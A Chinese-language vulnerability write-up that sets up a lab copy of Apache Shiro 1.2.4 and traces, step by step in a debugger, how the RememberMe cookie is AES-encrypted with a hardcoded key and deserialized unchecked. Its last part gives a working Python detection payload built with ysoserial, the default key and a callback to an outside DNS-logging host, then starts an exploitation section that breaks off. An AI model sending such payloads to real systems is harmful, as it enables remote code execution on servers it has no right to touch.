Shiro RememberMe RCE是護網常見的漏洞,因RememberMe值加密的原因,自帶繞waf特性,安服仔使用起來極其舒適,之前也看過一些大佬們寫的漏洞分析,看完之後有點疑問,比如,大佬說 偶然發現這個iv並沒有真正使用起來,加密模式是AES/CBC的,在安服仔印象中該模式下必須要有iv值,iv值不可能沒有使用,因此安服仔決定當一次(實習)研究仔去調試一次,解決我的疑問,並記錄。
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化後存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令
下面我們從最開始的環境搭建開始進行研究並對問題進行解答。
Java: jdk1.8.0_121
Tomcat: 7.0.94
解壓後進入shiro-shiro-root-1.2.4/samples/web
用IDEA加載,並設置pom.xml,指定jstl版本為1.2,增加commons-collections4,如下:
<dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>如果不指定jstl版本<version>1.2</version>,會報錯誤The absolute uri:
http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application,如下:
增加commons-collections4,是為了後面反序列化起來如喝水一般流暢。
接著設置run/debug configurations, 添加本地tomcat環境。
部署war包:
設置項目路徑:
然後Run 起來,訪問http://192.168.43.30:8000/shirotest/,出現下圖就證明環境是沒問題。
登陸時勾選Remember Me,
Cookie中會多一個rememberMekey,
而漏洞就是出現在rememberMekey中。
我們先來看下漏洞描述:Apache Shiro 在CookieRememberMeManager.java中 加密 用戶身份信息並序列化後存儲在名為remember-me的Cookie中, 攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
問題出現在
CookieRememberMeManager,這裡我們將shiro的源碼都下載下來(IDEA中點開Maven下的shiro包會提示Download Sources,點擊即可下載),然後全局搜索下CookieRememberMeManager,如下:
Notice: 一定要下載shiro源碼才能搜索到,IDEA目前還沒有智能到可以直接重構 已編譯文件 的索引。
點進CookieRememberMeManager,打開IDEA的Structure選項卡,可以清晰的看出CookieRememberMeManager類的組成元素,根據名稱與對應的代碼,可以大概知道他們各自的功能。
然後這裡我們先分析rememberMe是怎麼加密的,我們通過IDEA的Find Usage功能對rememberSerializedIdentity函數進行往上查找,發現其被rememberIdentity調用了。
接著再往上查找2層,找到了程序登陸成功的流程,如下:
我們在程序登陸成功處打個斷點org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,先來分析rememberMe值的加密過程,然後瀏覽器進行登陸帳戶root/secret,勾選上Remember Me的按鈕,進行登陸,此時程序會停在斷點處,如下:
在onSuccessfulLogin方法中,首先調用forgetIdentity方法來進行處理request和response請求,並在response中設置rememberMe=deleteMe的 Cookie。
在數據包中顯示如下:
Set-Cookie: rememberMe=deleteMe; Path=/shirotest; Max-Age=0; Expires=Mon, 13-Jul-2020 07:41:20 GMT
這個不是關鍵 大家有興趣可以自己跟一下。
然後判斷有沒有勾選Remember Me選項,這裡我登陸時勾選了,因此isRememberMe(token)結果為true,F5進入rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo)函數。
該函數首先調用getIdentityToRemember函數來獲取用戶身份,
接著我們先跟進:
rememberIdentity(org.apache.shiro.subject.Subject, org.apache.shiro.subject.PrincipalCollection)函數。
該函數首先調用了convertPrincipalsToBytes,F5跟進去。
convertPrincipalsToBytes函數 首先對用戶身份"root"進行了序列化,然後對序列化後的字節數組進行了加密,我們F5跟進org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)函數,看下是怎麼加密的。
根據IDEA調試的變量信息,可以推測加密算法為AES,模式為CBC,填充為PKCS5Padding,getEncryptionCipherKey()函數應該是獲取AES加密的密鑰,這裡我們跟進去,如下:
是一個get方法,我們找下對應的set方法,Find Usages找下哪裡調用了setEncryptionCipherKey方法,最後找到是setCipherKey方法調用了。
繼續往上找:
找到了AES的Key,以硬編碼的方式寫在代碼裡。
繼續跟進
encrypt(serialized, getEncryptionCipherKey())
iv通過generateInitializationVector函數生成。
跟進generateInitializationVector函數,可以發現iv是隨機生成的。
iv隨機生成的,那它解密的時候如何獲取這個iv呢?
接下來:
回到
encrypt(serialized, getEncryptionCipherKey()),
跟進
encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv)
最終加密返回來的bytes,是由16位iv+密文組成的。
目前上面分析到的整個加密過程:
將root身份序列化之後的值經過AES加密,加密過後的值與16位iv進行拼接,返回新的bytes數組,其中16位iv在新字節數組的頭部,即iv=bytes[:16],encrypt=bytes[16:]
以上就是convertPrincipalsToBytes函數做的事情。
到了這裡基本解決了我的疑問,iv在加密的過程中是使用了的。
然後F7跳出convertPrincipalsToBytes函數,回到最開始的rememberIdentity函數,跟進rememberSerializedIdentity函數。
rememberSerializedIdentity函數將AES加密後的值Base64編碼了一次,然後設置到Cookie中。
梳理下Cookie中rememberMe值的由來:
1.序列化用戶身份root 2.將序列化後的值進行AES加密,密鑰為常量,IV為隨機數 3.將AES加密後的值與iv拼接,進行Base64編碼 4.設置到Cookie中的rememberMe欄位。
接下來我們看下rememberMe欄位的解密過程:
在跟蹤加密過程的時有
org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)
這個函數,我們在這個類:
org.apache.shiro.mgt.AbstractRememberMeManager中找到對應的decrypt(byte[] encrypted)函數然後Find Usages,往上找二層,找到
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 然後下斷點,如下:
接著在登陸狀態下請求網站,讓斷點停下。
跟進getRememberedSerializedIdentity函數。
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity函數做了兩件事,先是取了Cookie中的rememberMe值,然後將其進行Base64解碼。
F7回到getRememberedPrincipals函數,跟進convertBytesToPrincipals函數。
對解碼後的值進行解密,然後進行反序列化,跟進deserialize,就可以看到readObject()方法。
這裡就不對decrypt函數進行跟蹤了,有興趣可以自己跟一下(加密已經很清晰了,解密的時候反著來就完事了)。
梳理下Cookie中rememberMe值的解密過程:
1.讀取Cookie中的rememberMe欄位值,然後進行Base64編碼 2.AES解密 3.進行反序列化
整個解密過程,可以看到在進行反序列化之前沒有任何過濾,導致外界傳什麼值,就反序列化什麼。
而AES硬編碼的緣故,使得我們可以構造任意的rememberMe欄位值,從而導致 任意代碼執行。
這裡我們分兩種情況,漏洞機器能出網的檢測,以及漏洞機器不能出網的檢測。
機器能出網情況檢測直接使用ysoserial的URLDNS模塊,進行檢測,代碼如下:
from Crypto.Cipher import AESimport tracebackimport requestsimport subprocessimport uuidimport base64import sys
target = "http://192.168.43.30:8000/shirotest/"jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://5atsqm.dnslog.cn"], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(cipher_key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
try: r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=30) print(r.status_code)except: traceback.print_exc()執行之後,DNSLOG有記錄,大概率存在次漏洞,如下:
利用
Windows1.攻擊主機192.168.43.31 運行JRMP: